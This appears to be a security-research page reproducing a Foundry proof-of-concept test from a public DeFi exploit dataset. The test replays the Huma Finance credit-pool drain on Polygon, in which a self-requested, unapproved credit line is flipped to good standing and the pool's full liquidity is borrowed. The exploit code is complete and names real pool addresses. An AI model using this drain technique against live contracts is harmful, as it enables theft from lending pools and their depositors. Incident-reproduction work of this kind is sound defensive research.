Public reproduction file
src/test/2026-05/HumaCreditApprovalBypass_exp.sol
Public reproduction file for dataset entry HumaFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~101390 USDC8// Attacker : 0x13B44e416e0f66359502E843AF2e1191f1260DaF9// Attack Contract : 0x44d4a434ae1529106e4b801315e22721978022a310// Vulnerable Contract : 0x57107d02c2b70e09ad77240dbde7ad77fe91ea1c (Huma BaseCreditPool impl)11// Attack Tx : https://polygonscan.com/tx/0x7b8d641d76affcc029fd0e0f06ab81ad675b1da21ef79b82e1343016040ba35913// @Info14// Vulnerable Contract Code : https://polygonscan.com/address/0x57107d02c2b70e09ad77240dbde7ad77fe91ea1c#code16// @Analysis17// Twitter Guy :18//19// Huma Finance credit pools gate large credit lines behind the Evaluation Agent's20// approveCredit(). However both requestCredit() and refreshAccount() are open to anyone,21// and BaseCreditPool._updateDueInfo() unconditionally sets a credit line to GoodStanding22// when a billing period has passed and no payment is missed, without checking that the line23// was ever EA-approved. So an attacker can: (1) requestCredit() with creditLimit up to the24// pool's maxCreditLine (state = Requested), (2) refreshAccount() to flip the un-approved25// line straight to GoodStanding, then (3) drawdown() the pool's entire liquidity. The PoC26// drains three Polygon pools (one native-USDC, two USDC.e) for the test contract and27// forwards the proceeds to the attacker EOA.29interface IHumaCreditPool {30 function requestCredit(uint256 creditLimit, uint256 intervalInDays, uint256 numOfPayments) external;31 function refreshAccount(address borrower) external;32 function drawdown(uint256 borrowAmount) external;33 function poolConfig() external view returns (address);34}36interface IHumaPoolConfig {37 function maxCreditLine() external view returns (uint256);38}40address constant ATTACKER = 0x13B44e416e0f66359502E843AF2e1191f1260DaF;42IHumaCreditPool constant POOL_USDC = IHumaCreditPool(0x3EBc1f0644A69c565957EF7cEb5AEafE94Eb6FcE);43IHumaCreditPool constant POOL_USDCE_A = IHumaCreditPool(0x95533e56f397152B0013A39586bC97309e9A00a7);44IHumaCreditPool constant POOL_USDCE_B = IHumaCreditPool(0xe8926aDbFADb5DA91CD56A7d5aCC31AA3FDF47E5);46IERC20 constant USDC_NATIVE = IERC20(0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359);47IERC20 constant USDC_BRIDGED = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);49contract ContractTest is BaseTestWithBalanceLog {50 function setUp() public {51 uint256 forkBlock = 86_725_403;52 vm.createSelectFork("polygon", forkBlock);53 vm.label(address(POOL_USDC), "Huma USDC Pool");54 vm.label(address(POOL_USDCE_A), "Huma USDC.e Pool A");55 vm.label(address(POOL_USDCE_B), "Huma USDC.e Pool B");56 vm.label(address(USDC_NATIVE), "USDC");57 vm.label(address(USDC_BRIDGED), "USDC.e");58 vm.label(ATTACKER, "Attacker");59 }61 function testExploit() public {62 // step 0: snapshot attacker EOA balances of both stolen assets63 uint256 usdcBefore = USDC_NATIVE.balanceOf(ATTACKER);64 uint256 usdceBefore = USDC_BRIDGED.balanceOf(ATTACKER);66 // step 1: drain each pool from a fresh, unprivileged borrower (this contract)67 uint256 usdcDrained = drainPool(POOL_USDC, USDC_NATIVE);68 uint256 usdceDrained = drainPool(POOL_USDCE_A, USDC_BRIDGED) + drainPool(POOL_USDCE_B, USDC_BRIDGED);70 // step 2: forward proceeds to the attacker EOA, mirroring sweepToken in the real tx71 USDC_NATIVE.transfer(ATTACKER, USDC_NATIVE.balanceOf(address(this)));72 USDC_BRIDGED.transfer(ATTACKER, USDC_BRIDGED.balanceOf(address(this)));74 uint256 usdcProfit = USDC_NATIVE.balanceOf(ATTACKER) - usdcBefore;75 uint256 usdceProfit = USDC_BRIDGED.balanceOf(ATTACKER) - usdceBefore;76 emit log_named_decimal_uint("Attacker USDC profit", usdcProfit, 6);77 emit log_named_decimal_uint("Attacker USDC.e profit", usdceProfit, 6);79 assertEq(usdcProfit, usdcDrained, "USDC profit forwarded");80 assertEq(usdceProfit, usdceDrained, "USDC.e profit forwarded");81 assertGt(usdcProfit, 80_000e6, "drained native USDC pool");82 assertGt(usdceProfit, 18_000e6, "drained USDC.e pools");83 }85 // Self-grant a GoodStanding line, then borrow the pool's full liquidity.86 function drainPool(IHumaCreditPool pool, IERC20 token) internal returns (uint256 drained) {87 IHumaPoolConfig config = IHumaPoolConfig(pool.poolConfig());89 // step 1a: open a credit line at the pool's max limit (state = Requested)90 pool.requestCredit(config.maxCreditLine(), 1, 10);91 // step 1b: refreshAccount flips the un-approved line to GoodStanding (no EA approval)92 pool.refreshAccount(address(this));94 // step 1c: borrow the entire balance the pool currently holds95 uint256 available = token.balanceOf(address(pool));96 uint256 balBefore = token.balanceOf(address(this));97 pool.drawdown(available);98 drained = token.balanceOf(address(this)) - balBefore;99 }100}Analysis
Dataset entry
Public Foundry test for “HumaFinance” (2026-05-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x13b44e416e0f66359502e843af2e1191f1260daf
- Attack Contract
0x44d4a434ae1529106e4b801315e22721978022a3
- Vulnerable Contract
0x57107d02c2b70e09ad77240dbde7ad77fe91ea1c
- Attack Tx
0x7b8d641d76affcc029fd0e0f06ab81ad675b1da21ef79b82e1343016040ba359
File record
- Name
- HumaFinance
- Path
- src/test/2026-05/HumaCreditApprovalBypass_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d872f4157772d8c9694cc2c24c4541876fca63bb
- Language
- Solidity
- Size
- 101 lines
- Date
- 2026-05-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/HumaCreditApprovalBypass_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d872f4157772d8c9694cc2c24c4541876fca63bb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.